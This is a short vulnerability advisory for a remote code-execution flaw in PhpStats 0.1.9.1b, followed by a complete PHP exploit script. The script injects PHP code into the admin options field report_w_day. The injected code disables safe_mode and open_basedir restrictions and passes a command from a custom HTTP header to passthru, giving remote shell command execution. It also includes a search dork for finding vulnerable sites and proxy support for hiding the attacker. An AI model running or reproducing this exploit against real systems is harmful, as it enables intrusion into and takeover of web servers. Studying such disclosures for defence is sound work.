source: https://www.securityfocus.com/bid/23008/info

PhpStats is prone to a remote code-execution vulnerability because the application fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary PHP code on an affected computer with the privileges of the webserver process.

This issue affects version 0.1.9.1b; other versions may also be affected. 

<?php
print_r('
---------------------------------------------------------------------------
Php-Stats <= 0.1.9.1b admin 2 exec() exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

dork example: inurl:php-stats.js.php
---------------------------------------------------------------------------
');

/*
to be used with
http://retrogod.altervista.org/php_stats_0191b_sql.html or
http://retrogod.altervista.org/php_stats_0191b_sql_ii.html

you can inject php code in /option/php-stats-options.php
through option_new[report_w_day] argument
then you can execute commands through the main page
*/

if ($argc<4) {
    print_r('
---------------------------------------------------------------------------
Usage: php '.$argv[0].' host path pass cmd OPTIONS
host:      target server (ip/hostname)
path:      path to phpstats
pass:      admin pass
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /stats/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /php-stats/stats/ ls -la -p81
---------------------------------------------------------------------------
');
    die;
}

error_reporting(7);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function send($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    $parts[1]=(int)$parts[1];
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$pass=$argv[3];
$cmd="";
$port=80;
$proxy="";
for ($i=4; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>'-p') and ($temp<>'-P')) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=(int)str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$data ="option_new%5Bstats_disabled%5D=0";
$data.="&option_new%5Blanguage%5D=it";
$data.="&option_new%5Bcifre%5D=8";
$data.="&option_new%5Bstile%5D=1";
$data.="&option_new%5Buser_mail%5D=A@A.COM";
$data.="&option_new%5Badmin_pass%5D=";
$data.="&option_new%5Bpass_confirm%5D=";
$data.="&option_new%5Buse_pass%5D=0";
$data.="&option_new%5Btimezone%5D=0";
$data.="&option_new%5Bnomesito%5D=%20";
$data.="&option_new%5Bserver_url%5D=".urlencode("http://".$host);
$data.="&option_new%5Btemplate%5D=default";
$data.="&option_new%5Bstarthits%5D=0";
$data.="&option_new%5Bstartvisits%5D=0";
$data.="&option%5Bmoduli_0%5D=1";
$data.="&option%5Bmoduli_1%5D=1";
$data.="&option%5Bmoduli_m_1%5D=1";
$data.="&option%5Bmoduli_2%5D=1";
$data.="&option%5Bmoduli_3%5D=1";
$data.="&option%5Bmoduli_4%5D=1";
$data.="&option%5Bmoduli_m_4%5D=1";
$data.="&option%5Bmoduli_6%5D=1";
$data.="&option%5Bmoduli_11%5D=1";
$data.="&option_new%5Bprune_0_on%5D=1";
$data.="&option_new%5Bprune_0_value%5D=24";
$data.="&option_new%5Bprune_1_value%5D=100";
$data.="&option_new%5Bprune_2_value%5D=1000";
$data.="&option_new%5Bprune_3_value%5D=1000";
$data.="&option_new%5Bprune_4_value%5D=1000";
$data.="&option_new%5Bprune_5_value%5D=1000";
$data.="&option_new%5Bauto_optimize%5D=1";
$data.="&option_new%5Bauto_opt_every%5D=100";

//do not touch
$shell="6,instat_report_w=>1,auto_optimize=>1,auto_opt_every=>100,exc_fol=>1,exc_sip=>1,exc_dip=>1);";

$shell.='ini_restore(safe_mode);ini_restore(open_basedir);error_reporting(0);set_time_limit(0);passthru($_SERVER[HTTP_S]);';

$shell.='$sun=Array(sun=>1';

$data.="&option_new%5Breport_w_day%5D=".urlencode($shell);
$data.="&option_new%5Bip_timeout%5D=1";
$data.="&option_new%5Bpage_timeout%5D=1200";
$packet ="POST ".$p."admin.php?action=preferenze&opzioni=applica HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: pass_cookie=".md5($pass).";\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
send($packet);
sleep(1);

$packet ="GET ".$p."admin.php HTTP/1.0\r\n";
$packet.="User-Agent: Mozilla/5.0\r\n";
$packet.="S: ".$cmd."\r\n";
$packet.="Cookie: pass_cookie=".md5($pass)."; php_stats_cache=1;\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
send($packet);
$temp=explode("<html>",$html);
echo $temp[0];
?>